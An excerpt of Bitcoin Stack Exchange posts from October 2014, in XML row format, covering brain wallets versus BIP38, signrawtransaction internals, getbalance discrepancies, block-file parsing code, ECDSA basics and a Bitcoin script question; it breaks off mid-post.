  <row Id="32146" PostTypeId="2" ParentId="32140" CreationDate="2014-10-27T02:36:51.730" Score="2" Body="&lt;p&gt;Brain wallets use your secret phrase to deterministically generate keys for you, meaning that you can never lose your wallet and there is no need to print it (except for extra-safe keeping). Hence the name, &quot;brain&quot; wallet (not paper wallet). But they have the downside that human chosen, and memorable, passphrases are usually easier to break. So in this sense, brain wallets are likely not as secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP38 wallets are password encrypted private keys stored on paper, and you can store the secret random password in a separate place. You can also do multisig with these wallets, I believe, so this has the potential to be much more secure. For example, if you made a 2 of 3 multisig address that you could send funds to, then even if an attacker got ahold of one key somehow, they still wouldn't be able to spend your funds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, you can see here the age-old compromise between &lt;strong&gt;convenience and security&lt;/strong&gt;. Brain wallets are more convenient, but BIP38 paper wallets are more secure. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-27T02:36:51.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32147" PostTypeId="1" CreationDate="2014-10-27T04:04:18.250" Score="3" ViewCount="274" Body="&lt;p&gt;I was looking in &lt;code&gt;rpcrawtransaction.cpp&lt;/code&gt; and came across the &lt;code&gt;signrawtransaction&lt;/code&gt; rpc method. While reading through this method, I thought these lines seemed strange:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    vector&amp;lt;CTransaction&gt; txVariants;&#xA;    while (!ssData.empty())&#xA;    {&#xA;        try {&#xA;            CTransaction tx;&#xA;            ssData &gt;&gt; tx;&#xA;            txVariants.push_back(tx);&#xA;        }&#xA;        catch (std::exception &amp;e) {&#xA;            throw JSONRPCError(RPC_DESERIALIZATION_ERROR, &quot;TX decode failed&quot;);&#xA;        }&#xA;    }&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is a vector of transaction variants needed here? Could decoding a raw transaction ever have more than one solution? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this has something to do with unfinished transactions, specifically? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that &lt;code&gt;sendrawtransaction&lt;/code&gt; doesn't have the same loop, but rather just has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    CTransaction tx;&#xA;&#xA;    // deserialize binary data stream&#xA;    try {&#xA;        ssData &gt;&gt; tx;&#xA;    }&#xA;    catch (std::exception &amp;e) {&#xA;        throw JSONRPCError(RPC_DESERIALIZATION_ERROR, &quot;TX decode failed&quot;);&#xA;    }&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The below seems relevant, too. It happens near the end of &lt;code&gt;signrawtransaction&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    // ... and merge in other signatures:&#xA;    BOOST_FOREACH(const CTransaction&amp; txv, txVariants)&#xA;    {&#xA;        txin.scriptSig = CombineSignatures(prevPubKey, mergedTx, i, txin.scriptSig, txv.vin[i].scriptSig);&#xA;    }&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe this has something to do with multisig? &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-10-29T04:14:36.500" LastActivityDate="2014-10-29T04:14:36.500" Title="Can there be more than one result of decoding a raw transaction?" Tags="|bitcoin-core-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32148" PostTypeId="1" AcceptedAnswerId="32149" CreationDate="2014-10-27T04:31:01.477" Score="2" ViewCount="550" Body="&lt;p&gt;The &lt;code&gt;signrawtransaction&lt;/code&gt; rpc method calls for the following use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;signrawtransaction &quot;hexstring&quot; ( [{&quot;txid&quot;:&quot;id&quot;,&quot;vout&quot;:n,&quot;scriptPubKey&quot;:&quot;hex&quot;,&quot;redeemScript&quot;:&quot;hex&quot;},...] [&quot;privatekey1&quot;,...] sighashtype )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is scriptPubKey included in here? It seems from the code that it just looks it up anyway and compared to the value given:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;if (coins.IsAvailable(nOut) &amp;&amp; coins.vout[nOut].scriptPubKey != scriptPubKey) {&#xA;    string err(&quot;Previous output scriptPubKey mismatch:\n&quot;);&#xA;    err = err + coins.vout[nOut].scriptPubKey.ToString() + &quot;\nvs:\n&quot;+&#xA;    scriptPubKey.ToString();&#xA;    throw JSONRPCError(RPC_DESERIALIZATION_ERROR, err);&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My best guesses:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Maybe there are some cases where it won't be able to look up the scriptPubKey? &lt;/li&gt;&#xA;&lt;li&gt;Maybe so this will work offline? &lt;/li&gt;&#xA;&lt;li&gt;Maybe it's not actually needed, but kept for backwards compatibility?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-27T04:42:14.707" Title="Why is the scriptPubKey required when using signrawtransaction?" Tags="|json-rpc|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32149" PostTypeId="2" ParentId="32148" CreationDate="2014-10-27T04:42:14.707" Score="2" Body="&lt;p&gt;Ahh, just found the answer. Should have read the help all the way through. It says: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The second optional argument (may be null) is an array of previous transaction outputs that&#xA;  this transaction depends on but may not yet be in the block chain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, it's there so that the method can be used even if the transaction it depends on doesn't exist yet. If it does exist, however, the client is smart and does extra error checking to make sure that you don't mess up.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-27T04:42:14.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32150" PostTypeId="1" CreationDate="2014-10-27T06:28:34.057" Score="0" ViewCount="190" Body="&lt;p&gt;I am working on a bitcoin research project. I want to decode receiving blocks from the block chain and store decoded data in a separate file for analyzing purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this purpose I digs the bitcoin c++ code and find the exact place, which use to write the blocks into &lt;em&gt;blkXXX.dat&lt;/em&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please suggest a solution for this matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="20712" LastActivityDate="2014-11-26T07:44:10.327" Title="Decode blocks received and Store in another file for analyzing" Tags="|bitcoind|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32151" PostTypeId="2" ParentId="32150" CreationDate="2014-10-27T06:34:19.777" Score="2" Body="&lt;pre&gt;&lt;code&gt;#include &amp;lt;QTimer&amp;gt;&#xA;#include &amp;lt;QFile&amp;gt;&#xA;&#xA;#include &quot;BlockChain.h&quot;&#xA;&#xA;BlockChain::BlockChain ( const int start, QObject* parent ) : QFile ( parent ), blkFile ( start + 1 )&#xA;{&#xA;  QTimer::singleShot ( 0, this, SLOT ( start ( ) ) );&#xA;}&#xA;//--------------------------------------------------------------&#xA;void BlockChain::start ( )&#xA;{&#xA;  setFileName ( blkFileName ( blkFile++ ) );&#xA;  if ( !open ( QIODevice::ReadOnly ) )&#xA;  {&#xA;    _trace ( QString ( &quot;cant open [%1]&quot; ).arg ( fileName ( ) ) );&#xA;    getParent ( ).block ( QByteArray ( ) ); // finish signal&#xA;    deleteLater ( );&#xA;  }&#xA;  else&#xA;  {&#xA;    _trace ( QString ( &quot;processing [%1]&quot; ).arg ( fileName ( ) ) );&#xA;    QTimer::singleShot ( 0, this, SLOT ( next ( ) ) );&#xA;  }&#xA;}&#xA;//--------------------------------------------------------------&#xA;void BlockChain::next ( )&#xA;{&#xA;  bool lock ( true );&#xA;  if ( pos ( ) &amp;lt; size ( ) )&#xA;  {&#xA;    quint32 magic;&#xA;    quint32 size ( read ( (char*)&amp;amp;magic, 4 ) );&#xA;    xassert ( ( ( magic == MAGIC_ID ) || !magic ) &amp;amp;&amp;amp; ( size == 4 ) );&#xA;    if ( magic )&#xA;    {&#xA;      read ( (char*)&amp;amp;size, 4 );&#xA;      xassert ( size &amp;gt; HEADER_SIZE &amp;amp;&amp;amp; size &amp;lt;= MAX_BLOCK_SIZE );&#xA;      getParent ( ).block ( read ( size ) ); // process data&#xA;      QTimer::singleShot ( 0, this, SLOT ( next ( ) ) );&#xA;      return;&#xA;    }&#xA;    else&#xA;      lock = false;&#xA;  }&#xA;  close ( );&#xA;  getParent ( ).doneFile ( lock, blkFile - 1 );&#xA;  QTimer::singleShot ( 0, this, SLOT ( start ( ) ) );&#xA;}&#xA;//--------------------------------------------------------------&#xA;const QString BlockChain::blkFileName ( const int i )&#xA;{&#xA;  return&#xA;    ( i &amp;lt; 10 ) ? QString ( DATA_ROOT &quot;\\blk0000%1.dat&quot; ).arg ( i ) :&#xA;    ( i &amp;lt; 100 ) ? QString ( DATA_ROOT &quot;\\blk000%1.dat&quot; ).arg ( i ) :&#xA;    QString ( DATA_ROOT &quot;\\blk00%1.dat&quot; ).arg ( i );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-10-27T06:34:19.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32152" PostTypeId="1" CreationDate="2014-10-27T10:11:33.763" Score="1" ViewCount="5978" Body="&lt;p&gt;I have probably misunderstood the meaning of bitcoind 'getbalance' command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using bitcoind in regtest mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using imported multisig bitcoin watch-only addresses, which are the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mirko_180603243: 2MvaEkzFyw6EcQGR2vrFWQd4rDNSiP4Qn7p&#xA;mirko_1169810029: 2N1DwxUDghdk2DRWee8PVLtcY9xxTM374Nj&#xA;mirko_1977534765: 2NANSy3VqQZmhQH36tNADVxEahLHJzQovdz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the initial state I have no such transaction, as expected:&#xA;    listtransactions mirko_180603243 10 0 true: []&#xA;    listtransactions mirko_1169810029 10 0 true: []&#xA;    listtransactions mirko_1977534765 10 0 true: []&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I send some money to the first account (mirko_180603243)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sendtoaddress 2MvaEkzFyw6EcQGR2vrFWQd4rDNSiP4Qn7p 10 &quot;Initial load&quot;&#xA;setgenerate true 6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the point of view of the balance, everything is right:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getbalance mirko_180603243 0 true: 10&#xA;listaccounts 1 true: &quot;mirko_180603243&quot; : 10.00000000&#xA;&#xA;listunspent:&#xA;    {&#xA;        &quot;txid&quot; : &quot;3c9970cda24b87ebf7080ff40d3be7cdded1afb6eafe3d9b7ade31f9c7fadc13&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;address&quot; : &quot;2MvaEkzFyw6EcQGR2vrFWQd4rDNSiP4Qn7p&quot;,&#xA;        &quot;account&quot; : &quot;mirko_180603243&quot;,&#xA;        &quot;scriptPubKey&quot; : &quot;a9142480ec8ccaea0328c6392c2ba4a4cd6fb0f6638b87&quot;,&#xA;        &quot;amount&quot; : 10.00000000,&#xA;        &quot;confirmations&quot; : 6,&#xA;        &quot;spendable&quot; : false&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the point of view of the transactions, everything is consistent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listtransactions &quot;mirko_180603243&quot; 10 0 true: &#xA;    {&#xA;        &quot;involvesWatchonly&quot; : true,&#xA;        &quot;account&quot; : &quot;mirko_180603243&quot;,&#xA;        &quot;address&quot; : &quot;2MvaEkzFyw6EcQGR2vrFWQd4rDNSiP4Qn7p&quot;,&#xA;        &quot;category&quot; : &quot;receive&quot;,&#xA;        &quot;amount&quot; : 10.00000000,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;confirmations&quot; : 12,&#xA;        &quot;blockhash&quot; : &quot;0000a083a8b0543d68059d9c3421b4ff681630601e80c3f4d4e58a05e228385d&quot;,&#xA;        &quot;blockindex&quot; : 1,&#xA;        &quot;blocktime&quot; : 1414401010,&#xA;        &quot;txid&quot; : &quot;3c9970cda24b87ebf7080ff40d3be7cdded1afb6eafe3d9b7ade31f9c7fadc13&quot;,&#xA;        &quot;walletconflicts&quot; : [&#xA;    ],&#xA;        &quot;time&quot; : 1414400968,&#xA;        &quot;timereceived&quot; : 1414400968,&#xA;        &quot;comment&quot; : &quot;Initial load&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I send 3 BTC from the first account (mirko_180603243: 2MvaEkzFyw6EcQGR2vrFWQd4rDNSiP4Qn7p) to the second one (mirko_1169810029: 2N1DwxUDghdk2DRWee8PVLtcY9xxTM374Nj). Since I only have 10 BTC in one block, I send back 7 BTC to myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the final transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gettransaction 153c45f199eba376d43cad614c2cd410140d2c9597b0de8392fa71209f6e43a5&#xA;{&#xA;    &quot;amount&quot; : 10.00000000,&#xA;    &quot;confirmations&quot; : 6,&#xA;    &quot;blockhash&quot; : &quot;0000da6254c04d050c93bb9949a5fdaec9256038edce3daa9798d2e0feca8199&quot;,&#xA;    &quot;blockindex&quot; : 1,&#xA;    &quot;blocktime&quot; : 1414401566,&#xA;    &quot;txid&quot; : &quot;153c45f199eba376d43cad614c2cd410140d2c9597b0de8392fa71209f6e43a5&quot;,&#xA;    &quot;walletconflicts&quot; : [&#xA;],&#xA;    &quot;time&quot; : 1414401480,&#xA;    &quot;timereceived&quot; : 1414401480,&#xA;    &quot;details&quot; : [&#xA;],&#xA;    &quot;hex&quot; : &quot; &quot;&#xA;}&#xA;&#xA;decoderawtransaction 010000000113dcfac...cd6fb0f6638b8700000000&#xA;{&#xA;    &quot;txid&quot; : &quot;153c45f199eba376d43cad614c2cd410140d2c9597b0de8392fa71209f6e43a5&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;3c9970cda24b87ebf7080ff40d3be7cdded1afb6eafe3d9b7ade31f9c7fadc13&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;0 304402205bb11653b7668488cf60a61c458bc729619b395d7b5d82c597d223956c0dc62d0220396fef209b3077b129648797ba72b9da0be94334dcebf067d1d5e31bb26ecf4a01 30440220203dcdd4169db7c1259c14c7fe8ed0eb449b3f26a2732cbba3713779034afd9d022020c85a7ec67a8aaad642ff96b63b0c98ff9dedb35a68c3dfddd296ee7db08ac101 522102a880b200040eb0f4e3984263ce3fb86b39cb5ba4c9ea247bb2c4de4d36eec4ff4104abc0c6d83b138ff68b60ee11b5deb98da1bd4fe9d4894fe1041e436f5cebfb7be7cf886f15ea34a746302700008c88c1257b2f37128d764bc922940b2e01038752ae&quot;,&#xA;                &quot;hex&quot; : &quot;0047304402205bb11653b7668488cf60a61c458bc729619b395d7b5d82c597d223956c0dc62d0220396fef209b3077b129648797ba72b9da0be94334dcebf067d1d5e31bb26ecf4a014730440220203dcdd4169db7c1259c14c7fe8ed0eb449b3f26a2732cbba3713779034afd9d022020c85a7ec67a8aaad642ff96b63b0c98ff9dedb35a68c3dfddd296ee7db08ac1014c67522102a880b200040eb0f4e3984263ce3fb86b39cb5ba4c9ea247bb2c4de4d36eec4ff4104abc0c6d83b138ff68b60ee11b5deb98da1bd4fe9d4894fe1041e436f5cebfb7be7cf886f15ea34a746302700008c88c1257b2f37128d764bc922940b2e01038752ae&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 3.00000000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_HASH160 578335446ee73c6379c7cef95c4fc8c3c576e3a0 OP_EQUAL&quot;,&#xA;                &quot;hex&quot; : &quot;a914578335446ee73c6379c7cef95c4fc8c3c576e3a087&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;scripthash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;2N1DwxUDghdk2DRWee8PVLtcY9xxTM374Nj&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 7.00000000,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_HASH160 2480ec8ccaea0328c6392c2ba4a4cd6fb0f6638b OP_EQUAL&quot;,&#xA;                &quot;hex&quot; : &quot;a9142480ec8ccaea0328c6392c2ba4a4cd6fb0f6638b87&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;scripthash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;2MvaEkzFyw6EcQGR2vrFWQd4rDNSiP4Qn7p&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything is consistent with the unspent blocks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;153c45f199eba376d43cad614c2cd410140d2c9597b0de8392fa71209f6e43a5&quot;,&#xA;    &quot;vout&quot; : 1,&#xA;    &quot;address&quot; : &quot;2MvaEkzFyw6EcQGR2vrFWQd4rDNSiP4Qn7p&quot;,&#xA;    &quot;account&quot; : &quot;mirko_180603243&quot;,&#xA;    &quot;scriptPubKey&quot; : &quot;a9142480ec8ccaea0328c6392c2ba4a4cd6fb0f6638b87&quot;,&#xA;    &quot;amount&quot; : 7.00000000,&#xA;    &quot;confirmations&quot; : 6,&#xA;    &quot;spendable&quot; : false&#xA;}&#xA;{&#xA;    &quot;txid&quot; : &quot;153c45f199eba376d43cad614c2cd410140d2c9597b0de8392fa71209f6e43a5&quot;,&#xA;    &quot;vout&quot; : 0,&#xA;    &quot;address&quot; : &quot;2N1DwxUDghdk2DRWee8PVLtcY9xxTM374Nj&quot;,&#xA;    &quot;account&quot; : &quot;mirko_1169810029&quot;,&#xA;    &quot;scriptPubKey&quot; : &quot;a914578335446ee73c6379c7cef95c4fc8c3c576e3a087&quot;,&#xA;    &quot;amount&quot; : 3.00000000,&#xA;    &quot;confirmations&quot; : 6,&#xA;    &quot;spendable&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I can not understand is the final balance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getbalance mirko_180603243 1 true:&#xA;    17 instead of 7&#xA;&#xA;getbalance mirko_1169810029 1 true:&#xA;    3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, it seems to be that 'getbalance' sums up all the incoming transactions, ignoring the ones that go out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I am computing the available amount summing up all the unspent blocks for each account. Unfortunately, though, that is not very user-friendly, as when you pay for 3 BTC and you have a single 10 BTC block, before the confirmations you see 0. I might include the 0 confirmations transactions as well, but the user may think that he could spend that money, which is false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the long message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. &#xA;I was forgetting to mention that I have discovered that accounts are NOT used for debit: if you want to pay, you have to use 'move' or 'sendfrom', but I do want just to have watch-only addresses, as I do not want to keep the private keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, I can not rely on 'move' or 'sendfrom' commands but I have to manually create and multi-sign my transaction.&lt;/p&gt;&#xA;" OwnerUserId="19593" LastEditorUserId="19593" LastEditDate="2014-10-27T10:19:11.400" LastActivityDate="2014-10-27T17:37:23.110" Title="bitcoin-cli getbalance different from listunspent" Tags="|client|json-rpc|balance|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32153" PostTypeId="1" CreationDate="2014-10-27T10:41:20.483" Score="0" ViewCount="29" Body="&lt;p&gt;Im very new to this so forgive me. I downloaded bitcoin qt and after 16 hours there was no progress whatsoever with this 'blockchain' stuff. I bought some bitcoins to send to the bitcoin qt client. which i cannot access. my question is how do i transfer the coins which i can't even access in qt to multi bit? I've found some other links on here which I've tried following but they don't work. Im on a macbook if this makes any difference. can someone please give me a step by step on how to transfer them to multi bit? or have i just wasted my money on those bitcoins? thank you&lt;/p&gt;&#xA;" OwnerUserId="20845" LastActivityDate="2014-10-27T10:41:20.483" Title="How do i transfer bitcoins from bitcoin qt to multi bit?" Tags="|client|multibit|money|" AnswerCount="0" CommentCount="2" ClosedDate="2014-11-22T17:53:38.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="32157" PostTypeId="2" ParentId="32152" CreationDate="2014-10-27T17:37:23.110" Score="2" Body="&lt;p&gt;From the bitcoin &quot;Accounts Explained&quot; wiki page (&lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Accounts_explained&lt;/a&gt;): &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When you receive bitcoins, they are always assigned to one of your accounts, and you can change which account is credited based on which bitcoin address receives the coins, just like you tell a bank teller which account to credit when you deposit cash in your bank. However, sending bitcoins is like withdrawing cash from the bank; the coins that are sent out and debited from an account are almost always not the same coins that were deposited into that account.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So you can't really do what you said (below), sending from an account to another account. You can, however, &lt;code&gt;move&lt;/code&gt; balances from an account to another account, with the &lt;code&gt;move&lt;/code&gt; command, but this doesn't require a bitcoin transaction. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Then I send 3 BTC from the first account (mirko_180603243: 2MvaEkzFyw6EcQGR2vrFWQd4rDNSiP4Qn7p) to the second one (mirko_1169810029: 2N1DwxUDghdk2DRWee8PVLtcY9xxTM374Nj).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think if you do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoin-cli listaccounts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will see some accounts with negative balances to account for the extra high balance you are seeing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The &quot;fromaccount&quot; in the &lt;code&gt;sendfrom&lt;/code&gt; command just tells the client which account to debit when it sends to the address specified. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-27T17:37:23.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32158" PostTypeId="1" CreationDate="2014-10-27T17:38:00.503" Score="1" ViewCount="344" Body="&lt;p&gt;Is it possible to generate Bitcoin addresses using a Master Key from a Armory wallet with PHP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use Electrum Master Key as Armory has a lot more features that come in handy often.&lt;/p&gt;&#xA;" OwnerDisplayName="user20847" LastActivityDate="2016-02-18T10:56:55.353" Title="Generate Bitcoin addresses using a Master Key from Armory wallet" Tags="|address|armory|php|address-generation|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32159" PostTypeId="1" CreationDate="2014-10-27T17:53:11.150" Score="1" ViewCount="273" Body="&lt;p&gt;I have an e-commerce website. In my website there are two types of&#xA;registered users:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Seller&lt;br&gt;&#xA;(They place an advertisement to sell there product [example:house])&lt;/li&gt;&#xA;&lt;li&gt;Buyer&lt;br&gt;&#xA;(Want to buy house of seller using their Bitcoins)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When purchaser wants to buy something, I want their Bitcoin to be stored in my wallet. When buyer get product just he will release his Bitcoins to the seller. To fund the site, I will take a percentage as a profit, and the rest will be sent to the sellers wallet.&lt;/p&gt;&#xA;" OwnerUserId="20848" LastEditorUserId="2306" LastEditDate="2014-10-27T21:18:16.297" LastActivityDate="2014-10-27T21:18:16.297" Title="Bitcoin Escrow API" Tags="|wallet|bitcoin-core|api|" AnswerCount="0" CommentCount="1" ClosedDate="2014-10-30T00:26:17.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="32160" PostTypeId="2" ParentId="32147" CreationDate="2014-10-27T19:27:56.747" Score="-2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Could decoding a raw transaction ever have more than one solution?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Decoding raw transaction is just a human-readable representation of transaction data. So, the answer is &quot;no&quot; and &quot;yes&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is only one decoding for transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But another client/version may add some other fields for json&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-10-27T19:27:56.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32161" PostTypeId="1" CreationDate="2014-10-27T19:36:15.007" Score="5" ViewCount="356" Body="&lt;p&gt;Dash is supposedly completely anonymous. How does this work without any centralisation? Is there one person with all the transactions and only they mine?&lt;/p&gt;&#xA;" OwnerUserId="20849" LastEditorUserId="1580" LastEditDate="2016-05-30T11:20:59.137" LastActivityDate="2016-05-30T11:20:59.137" Title="How does Dash achieve anonymity without centralisation?" Tags="|altcoin|privacy|decentralization|coinjoin|dash|" AnswerCount="1" CommentCount="2" ClosedDate="2020-12-29T20:07:47.703" ContentLicense="CC BY-SA 3.0" />
  <row Id="32162" PostTypeId="1" CreationDate="2014-10-27T19:46:51.090" Score="7" ViewCount="6634" Body="&lt;p&gt;I'm trying to understand the graphical basis that underlies the discreet logarithmic Elliptic Curve Digital Signature Algorithm (ECDSA) introduced in Chapter 4 of &quot;Mastering Bitcoin&quot; by Andreas Antonopolous: &lt;a href=&quot;https://github.com/aantonop/bitcoinbook/blob/develop/ch04.asciidoc&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/aantonop/bitcoinbook/blob/develop/ch04.asciidoc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andreas says a point in an elliptic curves can be added to itself by drawing a tangent, finding the intersection, then reflecting the new point on the x-axis. This makes no sense to me, but for now I'll just blindly believe. Then K = k * G, where k is the private key, G is a constant &quot;Generator Point&quot; and K is the public key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then he shows the attached figure which graphically shows how to get from G to 8G.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is &quot;8&quot; the private key in this example?&lt;/li&gt;&#xA;&lt;li&gt;Given K and G, it doesn't seem like this function would be irreversible. Am I missing something or does it only become irreversible in the discrete logarithmic equivalent. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/elA8D.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12311" LastActivityDate="2018-11-06T11:48:29.157" Title="How to generate a public key from a private key using Elliptic Curve Digital Signature Algorithm" Tags="|security|ecdsa|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32163" PostTypeId="2" ParentId="24160" CreationDate="2014-10-27T19:50:16.547" Score="2" Body="&lt;p&gt;So your inputs are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;sig&amp;gt; &amp;lt;pubkey&amp;gt; &amp;lt;a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you want to verify that Hash160(a) == Hash1 or Hash2, and that sig is a valid signature by pubkey? Based on your original script, it looks like you also want to verify that pubkey matches a hash in the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the best way to do this is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH160 OP_DUP &amp;lt;Hash1&amp;gt; OP_EQUAL&#xA;// stack now has &amp;lt;sig&amp;gt; &amp;lt;pubkey&amp;gt; &amp;lt;Hash160(a)&amp;gt; &amp;lt;Hash160(a)==Hash1&amp;gt;&#xA;OP_SWAP&#xA;// stack now has &amp;lt;sig&amp;gt; &amp;lt;pubkey&amp;gt; &amp;lt;Hash160(a)==Hash1&amp;gt; &amp;lt;Hash160(a)&amp;gt;&#xA;&amp;lt;Hash2&amp;gt; OP_EQUAL&#xA;// stack now has &amp;lt;sig&amp;gt; &amp;lt;pubkey&amp;gt; 